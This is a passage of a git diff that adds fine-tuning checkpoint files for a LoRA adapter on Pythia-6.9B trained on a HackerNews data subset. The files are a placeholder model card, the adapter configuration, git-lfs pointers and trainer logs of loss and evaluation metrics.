+ + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..47e84190f38b0f46c4643f8e39a97ddd44086ca9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:971b62f37a3a881a087e1946f1b31101d62e76a1b9c21dbbe8a8933ea60c3af1 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..8ba356ffd215c2e0fc68526c5795f8d83e69660f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9f37ce99758d31205561213b1b5d64ab2daa67840c264a0d470e691b0d4cd2a0 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..76ee62462f7b8b87edaf24539d12d81995c70164 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3a5478e4e53ebdf948038ed344f6e976416991ec94630cb094a18d5adf7aae7a +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8e3204abc81bf616d4220ccab7f0f13520ce949e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:19debbf018dbf40b240b0a2ef65d5d10de2fa92e61c8838b0319c8c96ad962cd +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..f3e69563c0f8e4b32715a45117ec3771dd04e09c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/trainer_state.json @@ -0,0 +1,78 @@ +{ + "best_metric": 2.488459825515747, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30", + "epoch": 0.4, + "eval_steps": 10, + "global_step": 30, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4915821595852800.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-30/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..3ff9a53d58be1a73350806f7d515eaebb9c10421 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1dea6054f065b61f92bcacf5310a06dc1ef20145917639a2305be6cefdea2933 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..d507f2b28fa82553e82af42d1cfb7bb1e9c3e71b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f10cb84e6485d3da6ab42678cecd66e78850f19ed4f7fecf1870bbe462691e26 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..4d8ba268ef07796e970a23442889935701a1dda5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2574c6149307e492ef05d2031918a546356cc654f4671c817f05ae6d0764de7f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..8640fdd49a163110aee721e1510c7d552b4242d7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:30336c219d20749546325363bfa0b5ee5e9d4b073a303024ff3ad347834b8c13 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..73eeeb3ab419a8f875452aa7aa206cdcd1d13781 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/trainer_state.json @@ -0,0 +1,483 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.0, + "eval_steps": 10, + "global_step": 300, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 4.9158215958528e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-300/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git 